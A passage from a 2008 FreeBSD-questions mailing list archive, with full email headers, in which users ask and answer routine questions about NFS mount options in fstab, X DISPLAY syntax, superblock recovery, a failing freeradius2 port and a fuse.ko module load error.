(90-230-141-139-no41.tbcn.telia.com [90.230.141.139]) by smtp3-2-sn3.vrr.skanova.net (Postfix) with ESMTP id C95EC37E4E for ; Wed, 3 Dec 2008 17:37:42 +0100 (CET) Message-ID: <4936B5D5.1090709@passagen.se> Date: Wed, 03 Dec 2008 17:37:41 +0100 From: Roger Olofsson User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: User Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: mount_nfs from fstab with -L option? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: raggen@passagen.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 16:59:12 -0000 Dear mailing list, What would be the correct way to do the following: mount_nfs -L server:/path mnt when using the /etc/fstab file? Greetings from Sweden /Roger From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:16:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1B9BE1065670 for ; Wed, 3 Dec 2008 17:16:45 +0000 (UTC) (envelope-from johnny64@swissjabber.org) Received: from www.real-net.sk (ns.real-net.sk [212.108.204.1]) by mx1.freebsd.org (Postfix) with ESMTP id 39C1E8FC1B for ; Wed, 3 Dec 2008 17:16:44 +0000 (UTC) (envelope-from johnny64@swissjabber.org) Received: from localhost (unknown [127.0.0.1]) by www.real-net.sk (Postfix) with ESMTP id 9B819197F396 for ; Wed, 3 Dec 2008 17:16:42 +0000 (UTC) X-Virus-Scanned: amavisd-new 2.6.1 (20080629) at real-net.sk Received: from www.real-net.sk ([127.0.0.1]) by localhost (www.real-net.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id f0KNwOv4iV-d for ; Wed, 3 Dec 2008 18:16:39 +0100 (CET) Received: from georg.localdomain (unknown [10.200.9.170]) by www.real-net.sk (Postfix) with ESMTPS id 4C792197F385; Wed, 3 Dec 2008 18:16:39 +0100 (CET) Received: from georg.localdomain (localhost [127.0.0.1]) by georg.localdomain (8.14.3/8.14.3) with ESMTP id mB3HGbvo025954; Wed, 3 Dec 2008 18:16:37 +0100 (CET) (envelope-from johnny64@swissjabber.org) Received: (from johnny64@localhost) by georg.localdomain (8.14.3/8.14.3/Submit) id mB3HGYw4025951; Wed, 3 Dec 2008 18:16:34 +0100 (CET) (envelope-from johnny64@swissjabber.org) X-Authentication-Warning: georg.localdomain: johnny64 set sender to johnny64@swissjabber.org using -f Date: Wed, 3 Dec 2008 18:16:33 +0100 From: "(-K JohnNy" To: Olivier Nicole Message-ID: <20081203171633.GA19592@georg.localdomain> References: <006b01c949da$2985e9f0$7c91bdd0$@com> <20081119112554.R6005@wojtek.tensor.gdynia.pl> <200811191035.mAJAZc21042934@banyan.cs.ait.ac.th> <11167f520811191058m7e07c347u272dc9db0a15027d@mail.gmail.com> <20081119224923.L8555@wojtek.tensor.gdynia.pl> <200811200117.mAK1H9Y0073881@banyan.cs.ait.ac.th> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="AqsLC8rIMeq19msA" Content-Disposition: inline In-Reply-To: <200811200117.mAK1H9Y0073881@banyan.cs.ait.ac.th> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org, ghartl@gmail.com Subject: Re: Running X without a videocard X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:16:45 -0000 --AqsLC8rIMeq19msA Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable > > DISPLAY variable must point to display > > like IP-number:0 (or non-zero if you have more than 1 display :) >=20 > Shouldn't that be IP-number:0.0 ? >=20 > Olivier Only in case there are multiple screens on the specified server. (The first number, which is mandatory, IIRC, specifies the server and the second, optional, specifies its screen.) (-K --=20 (-K JohnNy aka Partial Derivative =E2=88=82 [home] http://johnny64.fixinko.sk/ [icq] 338328204 [abandoned] [jabber] JohnNy64@swissjabber.org [skype] JohnNy64-konik [abandoned] --AqsLC8rIMeq19msA Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) iEYEARECAAYFAkk2vvAACgkQ11l9uIBrcFRGtgCfQQDKQQ59c8iHwONj2V6jDDh2 UC4An0KjIDlA2LuVAGXCk/GqxnVI30mQ =028p -----END PGP SIGNATURE----- --AqsLC8rIMeq19msA-- From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:28:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F20A3106564A for ; Wed, 3 Dec 2008 17:28:58 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id CC6C58FC1F for ; Wed, 3 Dec 2008 17:28:58 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=ISO-8859-1; format=flowed Received: from [192.168.0.51] ([96.21.103.185]) by VL-MO-MR005.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KBB00MSH9UMXIB0@VL-MO-MR005.ip.videotron.ca> for freebsd-questions@freebsd.org; Wed, 03 Dec 2008 12:27:58 -0500 (EST) Message-id: <4936C1CA.2040501@videotron.ca> Date: Wed, 03 Dec 2008 12:28:42 -0500 From: PJ User-Agent: Thunderbird 2.0.0.16 (Windows/20080708) To: freebsd-questions@freebsd.org Subject: restore superblock X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:28:59 -0000 I have been googling for superblock restore and things are a bit confusing. Some of the commands don't seem to match current fsck parameters (notably -b doesn't exist. Apparently I should be able to reconstruct the superblock(s) on my /usr partition (slice ?) as my searches found that there are backups of the superblocks on the files systems. But how do I find them and restore the corrupt ones? Not clear in my searches. I have another installation of fbsd 7.0 on another machine with the partitioning identical and identical hdds. How could I use the superblock and/or other information from the good installation to repair the damaged one - or would it be possible to recover the superblock info from the damaged one's backcups? Phil Jourdan From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:30:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 723C2106574D for ; Wed, 3 Dec 2008 17:30:42 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.156]) by mx1.freebsd.org (Postfix) with ESMTP id D284B8FC21 for ; Wed, 3 Dec 2008 17:30:41 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: by fg-out-1718.google.com with SMTP id l26so2630206fgb.35 for ; Wed, 03 Dec 2008 09:30:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=xl8rbyMxRLQS6jwm63lc3lHrBG3yJWeDSF6aaYLtmQs=; b=KK1Z2yEUAZtjZCs5tQruA+EcE/DU5mDPbYMPWae1Iiqqp+WaFvgqYZDzX1yLF669lA L6Y4SQ1QBjaVkXDuHm3BEoiCAG7m1syrqF7cXQYow+iE+bn6YiRFTdhHLICuIedm+8gA GS8Qn+/oifTIJf6HkrPw9Oc6IT7DmlHFFKLkE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=cTiLoCjESBeD24OuL4jOIp8vwXf/HUEjcTWAHr8Ydcbig0SXkCqigpi5dYOWKOTAVl f0X99lGJvm22NjDF4Y/XTcM+IHgdKCfEM1LtB+4n8NXmsNvp8i3zrFNpzpPicwFFfd8W J+b+x5JBjvFR3bMZkWlqExk9wnjHEtIQPXX4I= Received: by 10.180.247.12 with SMTP id u12mr4711566bkh.154.1228325440392; Wed, 03 Dec 2008 09:30:40 -0800 (PST) Received: by 10.181.31.13 with HTTP; Wed, 3 Dec 2008 09:30:40 -0800 (PST) Message-ID: <28283d910812030930r724b19fcid526fcd85742f038@mail.gmail.com> Date: Wed, 3 Dec 2008 12:30:40 -0500 From: "matt donovan" To: "Marcel Grandemange" In-Reply-To: <00da01c95518$64e49d90$2eadd8b0$@za.net> MIME-Version: 1.0 References: <00da01c95518$64e49d90$2eadd8b0$@za.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: /usr/ports/net/freeradius2 port broken X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:30:43 -0000 On Wed, Dec 3, 2008 at 2:26 AM, Marcel Grandemange wrote: > Anyone else aware that the freeradius2 port is broken? > > > [root@devvm /usr/ports/net/freeradius2]# make > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in > /usr/ports/distfiles/. > => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size unknown > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size of remote file is not known > freeradius-server-2.0.5.tar.bz2 317 B 3535 Bps > ===> Extracting for freeradius-2.0.5 > => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > ===> Refetch for 1 more times files: freeradius-server-2.0.5.tar.bz2 > freeradius-server-2.0.5.tar.bz2 > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in > /usr/ports/distfiles/. > => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size unknown > fetch: > ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: > size of remote file is not known > freeradius-server-2.0.5.tar.bz2 361 B 2208 Bps > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. > ===> Giving up on fetching files: freeradius-server-2.0.5.tar.bz2 > freeradius-server-2.0.5.tar.bz2 > Make sure the Makefile and distinfo file > (/usr/ports/net/freeradius2/distinfo) > are up to date. If you are absolutely sure you want to override this > check, type "make NO_CHECKSUM=yes [other args]". > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > [root@devvm /usr/ports/net/freeradius2]# make NO_CHECKSUM=yes > ===> Vulnerability check disabled, database not found > ===> Found saved configuration for freeradius-2.0.5 > ===> Extracting for freeradius-2.0.5 > ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found > bzip2: /usr/ports/distfiles//freeradius-server-2.0.5.tar.bz2 is not a bzip2 > file. > ===> Patching for freeradius-2.0.5 > ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found > ===> Applying FreeBSD patches for freeradius-2.0.5 > patch: **** can't cd to > /usr/ports/net/freeradius2/work/freeradius-server-2.0.5: No such file or > directory > => Patch patch-config-security failed to apply cleanly. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > *** Error code 1 > > Stop in /usr/ports/net/freeradius2. > [root@devvm /usr/ports/net/freeradius2]# > > > Regards > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org > The port works fine here it fallsback to ftp://ftp.freeradius.org/pub/freeradius/old/ which it should to grab 2.0.5.try updating your ports(if you have not already) and try again From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:30:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 04DFC1065797 for ; Wed, 3 Dec 2008 17:30:58 +0000 (UTC) (envelope-from korvus@comcast.net) Received: from QMTA05.westchester.pa.mail.comcast.net (qmta05.westchester.pa.mail.comcast.net [76.96.62.48]) by mx1.freebsd.org (Postfix) with ESMTP id A75C98FC1F for ; Wed, 3 Dec 2008 17:30:57 +0000 (UTC) (envelope-from korvus@comcast.net) Received: from OMTA13.westchester.pa.mail.comcast.net ([76.96.62.52]) by QMTA05.westchester.pa.mail.comcast.net with comcast id mbuV1a00M17dt5G55hHeR6; Wed, 03 Dec 2008 17:17:40 +0000 Received: from [192.168.2.164] ([206.210.89.202]) by OMTA13.westchester.pa.mail.comcast.net with comcast id mhHT1a00q4Mx3R23ZhHWoo; Wed, 03 Dec 2008 17:17:36 +0000 X-Authority-Analysis: v=1.0 c=1 a=7KEiB6AhhCYA:10 a=j1cKMfSbAtIA:10 a=9BtNDxQIZJrdKLaXqLoA:9 a=95IIDPE6VQjtvaA7LaRzsnEYNL4A:4 a=Dqp-bWOt5EsA:10 Message-ID: <4936BF27.3030607@comcast.net> Date: Wed, 03 Dec 2008 12:17:27 -0500 From: Steve Polyack User-Agent: Thunderbird 2.0.0.18 (X11/20081124) MIME-Version: 1.0 To: raggen@passagen.se References: <4936B5D5.1090709@passagen.se> In-Reply-To: <4936B5D5.1090709@passagen.se> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: User Questions Subject: Re: mount_nfs from fstab with -L option? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:30:58 -0000 Roger Olofsson wrote: > Dear mailing list, > > What would be the correct way to do the following: > > mount_nfs -L server:/path mnt > > when using the /etc/fstab file? > > Greetings from Sweden > > /Roger > Any options passed to mount(8)may be added (comma separated) to the Options section in /etc/fstab. For example: # Device Mountpoint FSType Options Dump Pass# server:/path /mnt nfs rw,-L 0 0 From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:45:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6C0A7106567A for ; Wed, 3 Dec 2008 17:45:25 +0000 (UTC) (envelope-from 240olofsson@telia.com) Received: from av9-2-sn3.vrr.skanova.net (av9-2-sn3.vrr.skanova.net [81.228.9.186]) by mx1.freebsd.org (Postfix) with ESMTP id 2D9228FC17 for ; Wed, 3 Dec 2008 17:45:24 +0000 (UTC) (envelope-from 240olofsson@telia.com) Received: by av9-2-sn3.vrr.skanova.net (Postfix, from userid 502) id A030B380EB; Wed, 3 Dec 2008 18:45:23 +0100 (CET) Received: from smtp3-2-sn3.vrr.skanova.net (smtp3-2-sn3.vrr.skanova.net [81.228.9.102]) by av9-2-sn3.vrr.skanova.net (Postfix) with ESMTP id 8534937E6C; Wed, 3 Dec 2008 18:45:23 +0100 (CET) Received: from [192.168.1.31] (90-230-141-139-no41.tbcn.telia.com [90.230.141.139]) by smtp3-2-sn3.vrr.skanova.net (Postfix) with ESMTP id 097D437E42; Wed, 3 Dec 2008 18:45:22 +0100 (CET) Message-ID: <4936C5B1.2070809@telia.com> Date: Wed, 03 Dec 2008 18:45:21 +0100 From: Roger Olofsson <240olofsson@telia.com> User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Steve Polyack References: <4936B5D5.1090709@passagen.se> <4936BF27.3030607@comcast.net> In-Reply-To: <4936BF27.3030607@comcast.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: User Questions , raggen@passagen.se Subject: Re: mount_nfs from fstab with -L option? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: raggen@raggens.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:45:25 -0000 Steve Polyack skrev: > Roger Olofsson wrote: >> Dear mailing list, >> >> What would be the correct way to do the following: >> >> mount_nfs -L server:/path mnt >> >> when using the /etc/fstab file? >> >> Greetings from Sweden >> >> /Roger >> > > Any options passed to mount(8)may be added (comma separated) to the > Options section in /etc/fstab. > > For example: > > # Device Mountpoint FSType Options Dump Pass# > server:/path /mnt nfs rw,-L 0 0 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > > ------------------------------------------------------------------------ > > > No virus found in this incoming message. > Checked by AVG - http://www.avg.com > Version: 8.0.176 / Virus Database: 270.9.13/1826 - Release Date: 2008-12-03 09:34 > Thank you Steve! /Roger From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 17:50:03 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 376201065675 for ; Wed, 3 Dec 2008 17:50:03 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 1054C8FC23 for ; Wed, 3 Dec 2008 17:50:02 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=ISO-8859-1; format=flowed Received: from [192.168.0.51] ([96.21.103.185]) by VL-MH-MR002.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KBB00KNUAVET150@VL-MH-MR002.ip.videotron.ca> for freebsd-questions@freebsd.org; Wed, 03 Dec 2008 12:50:02 -0500 (EST) Message-id: <4936C6CA.4060100@videotron.ca> Date: Wed, 03 Dec 2008 12:50:02 -0500 From: PJ User-Agent: Thunderbird 2.0.0.16 (Windows/20080708) To: freebsd-questions@freebsd.org References: <4936C1CA.2040501@videotron.ca> In-reply-to: <4936C1CA.2040501@videotron.ca> Subject: Re: restore superblock X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 17:50:03 -0000 PJ wrote: > I have been googling for superblock restore and things are a bit > confusing. Some of the commands don't seem to match current fsck > parameters (notably -b doesn't exist. > Apparently I should be able to reconstruct the superblock(s) on my > /usr partition (slice ?) as my searches found that there are backups > of the superblocks on the files systems. > But how do I find them and restore the corrupt ones? Not clear in my > searches. > I have another installation of fbsd 7.0 on another machine with the > partitioning identical and identical hdds. > How could I use the superblock and/or other information from the good > installation to repair the damaged one - or would it be possible to > recover the superblock info from the damaged one's backcups? > Phil Jourdan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > Here is what I get when I run fsck /dev/ad8s1f : **fsck /dev/ad8s1f **Last Mounted on /usr Phase 1 - Check Blocks and Sizes UNKNOWN FILE TYPE I=2802880 UNEXPECTED SOFT UPDATE INCONSISTENCY (I answered n to all the remove? [yn] questions) UNKNOWN FILE TYPE I=3297280 UNKNOWN FILE TYPE I=3297408 INCORRECT BLOCK COUNT I=4008454 (1440 should be 384) PHASE 2 - Check Pathnames DUP/BAD I=3297280 OWNER = ROOT MODE=40755 SIZE=8192 MTIME= JUL 21 14:25 2008 DIR= /lib Hope this give some useful information. Phil Jourdan From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 18:08:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C80771065675 for ; Wed, 3 Dec 2008 18:08:51 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: from web51108.mail.re2.yahoo.com (web51108.mail.re2.yahoo.com [206.190.38.150]) by mx1.freebsd.org (Postfix) with SMTP id 1CD268FC18 for ; Wed, 3 Dec 2008 18:08:49 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: (qmail 3968 invoked by uid 60001); 3 Dec 2008 18:08:49 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=tI61bBNStDxUqaQvZqB6dqAeF0wArqeb0b2jZzzAq9sKVkX/j1MVX/xd18RJslmqlXaO7tWr+lwqnKCdQ3XELAh9h9OW3GrnVTk6w+4Xj8BQjprOvKYN3l/XFlNeBz6kzaikLEYWSE9MeKZ0jUKX9TFErYW3IFyiQUVSISVGdAQ=; X-YMail-OSG: 5uRK004VM1nZH8ss.tXNjdeYkaWobblwWZiZr6Z28.1NyxULKX3VIfG9XkrbtWgPZBmpVJA1MBr389y_.A2fdjKSsT5_4RlN2ZBsXe1_vOU3_t0uzXmLlDdDUSSWN_2s91Gw0_b0BO8XT2qpMR4wis8HBe2hGqS08HTyoewzz.mCNLLS2gcBD4ig6XI- Received: from [82.136.213.253] by web51108.mail.re2.yahoo.com via HTTP; Wed, 03 Dec 2008 10:08:48 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Wed, 3 Dec 2008 10:08:48 -0800 (PST) From: Dino Vliet To: Scot Hetzel In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> MIME-Version: 1.0 Message-ID: <128452.3938.qm@web51108.mail.re2.yahoo.com> Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-ports@freebsd.org, freebsd-questions@freebsd.org, alepulver@freebsd.org Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dino_vliet@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 18:08:52 -0000 --- On Wed, 12/3/08, Scot Hetzel wrote: From: Scot Hetzel Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 To: dino_vliet@yahoo.com Cc: alepulver@freebsd.org, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org Date: Wednesday, December 3, 2008, 12:17 PM On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot Hi Scot, I installed it from ports. I think as a dependency on fusefs-ntfs? I will rebuild my system as I upgraded lately from 6.3 to 7, but I'm sure I just followed the handbook and did everything allright. Will post the results when I try this again afterwards. Brgds Dino From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 18:11:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B930F1065675 for ; Wed, 3 Dec 2008 18:11:05 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: from web51106.mail.re2.yahoo.com (web51106.mail.re2.yahoo.com [206.190.38.148]) by mx1.freebsd.org (Postfix) with SMTP id 618988FC18 for ; Wed, 3 Dec 2008 18:11:05 +0000 (UTC) (envelope-from dino_vliet@yahoo.com) Received: (qmail 70193 invoked by uid 60001); 3 Dec 2008 18:11:04 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=kP2vEnYqX0Q3IgBO4fDwUrbKzMGE8HecKe35kLsqPURxhJ0SFeVQ8fdNLR9IgoM2kBPTfgjWlrKxQ1zZ5YvoY8xu4TM4WvjBBRPDteZwbVpn3v81bEQHdUPj3ovXluxYzk/mLB7XGqFWmBlZlLtZUkdIFqB6Q6lfh0s5+GPRQV0=; X-YMail-OSG: 1yOKUngVM1kW1wrISsdl.5Wn8rzfP1TcRL6Tp2jwOsaQ3XLvyDyQ5NoPOV9u2CzlLHi2oVJsyTkhZMm_vbgFlg3Usod7tTYv5nyyjnOQ0EEYCnUnb9C_uYSeu6AOFXptuv0tXgmyNGzNNa79c.LJOttBfIRPO616PQPidiHbcYx9xNsMR1JkbS18QwOqRSRUS3mLmpmyHat6f6iM Received: from [82.136.213.253] by web51106.mail.re2.yahoo.com via HTTP; Wed, 03 Dec 2008 10:11:04 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Wed, 3 Dec 2008 10:11:04 -0800 (PST) From: Dino Vliet To: Kevin Kinsey In-Reply-To: <49369E3A.8050305@daleco.biz> MIME-Version: 1.0 Message-ID: <507318.69430.qm@web51106.mail.re2.yahoo.com> Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dino_vliet@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 18:11:05 -0000 --- On Wed, 12/3/08, Kevin Kinsey wrote: From: Kevin Kinsey Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 To: dino_vliet@yahoo.com Cc: freebsd-questions@freebsd.org Date: Wednesday, December 3, 2008, 3:56 PM Dino Vliet wrote: > Hi people, > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error What does $file /usr/local/modules/fuse.ko say, and do you have Linux support built and enabled? Kevin Kinsey -- A failure will not appear until a unit has passed final inspection. *********** Hi Kevin, That command gives the following result on my system: file /usr/local/modules/fuse.ko /usr/local/modules/fuse.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (FreeBSD), not stripped I don't have linux support build and enabled. Is it necessary? Thanks Dino From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 18:48:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 21DEA1065675 for ; Wed, 3 Dec 2008 18:48:25 +0000 (UTC) (envelope-from SRS0=hox6s+=4I=shell.siscom.net=vogelke@siscom.net) Received: from lamorack.siscom.net (lamorack.siscom.net [209.251.2.116]) by mx1.freebsd.org (Postfix) with ESMTP id EA0BB8FC20 for ; Wed, 3 Dec 2008 18:48:24 +0000 (UTC) (envelope-from SRS0=hox6s+=4I=shell.siscom.net=vogelke@siscom.net) Received: from shell.siscom.net ([209.251.2.80]) by lamorack.siscom.net with esmtp (Exim 4.62) (envelope-from ) id 1L7wMQ-0001Df-Cq for freebsd-questions@freebsd.org; Wed, 03 